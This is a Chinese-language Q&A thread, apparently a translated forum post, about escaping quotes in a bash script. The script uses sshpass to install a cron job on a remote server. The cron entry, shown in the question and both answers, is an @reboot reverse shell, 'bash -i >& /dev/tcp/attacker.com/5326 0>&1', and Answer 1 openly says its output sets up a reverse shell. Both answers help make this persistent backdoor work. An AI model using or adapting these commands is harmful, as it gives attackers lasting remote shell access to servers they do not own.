如何在脚本中通过双引号回显命令传递单引号以添加 cron 作业

Question

我有一个脚本来更新 ssh 访问的远程服务器中的 cron 作业。我无法通过在我的 bash 脚本中运行的 echo 命令将单引号放入 cron 作业中。

这是我在 cron 作业中需要的确切字符串：

'bash -i >& /dev/tcp/attacker.com/5326 0>&1'

但我不能让他们“坚持”。

这是我脚本中的行（其他行工作正常。

sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME@HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo @reboot /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1' >> TEMPFILENAME; crontab TEMPFILENAME"

这次尝试的结果是……

@reboot /bin/bash -c bash -i >& /dev/tcp/attacker.com/5326 0>&1

...缺少引号。

我尝试了多个双引号。双引号内的单引号。斜线。

在这种情况下，如何在我的脚本中加上单引号，以便它们最终出现在 cron 作业中？

Answer 1

如果你不需要它漂亮，你可以让 Bash 来做：

#!/bin/bash
cmd='bash -i >& /dev/tcp/attacker.com/5326 0>&1';
crontab=$(printf "@reboot bash -c %q" "$cmd")
echo=$(printf "echo %q >> TEMPFILENAME" "$crontab")
ssh=$(printf "ssh localhost %q" "$echo")
printf 'The command to run is:\n%s\n' "$ssh"

这个脚本的输出是：

The command to run is:
ssh localhost echo\ @reboot\\\ bash\\\ -c\\\ bash\\\\\\\ -i\\\\\\\ \\\\\\\>\\\\\\\&\\\\\\\ /dev/tcp/attacker.com/5326\\\\\\\ 0\\\\\\\>\\\\\\\&1\ \>\>\ TEMPFILENAME

事实上，如果你复制粘贴该命令，你会发现一个文件TEMPFILENAME 包含：

@reboot bash -c bash\ -i\ \>\&\ /dev/tcp/attacker.com/5326\ 0\>\&1

当复制粘贴到提示符时会设置反向shell。

Answer 2

你可以在用 '\' 转义单引号后尝试吗？

sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME@HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo @reboot /bin/bash -c \'bash -i >& /dev/tcp/attacker.com/5326 0>&1\' >> TEMPFILENAME; crontab TEMPFILENAME"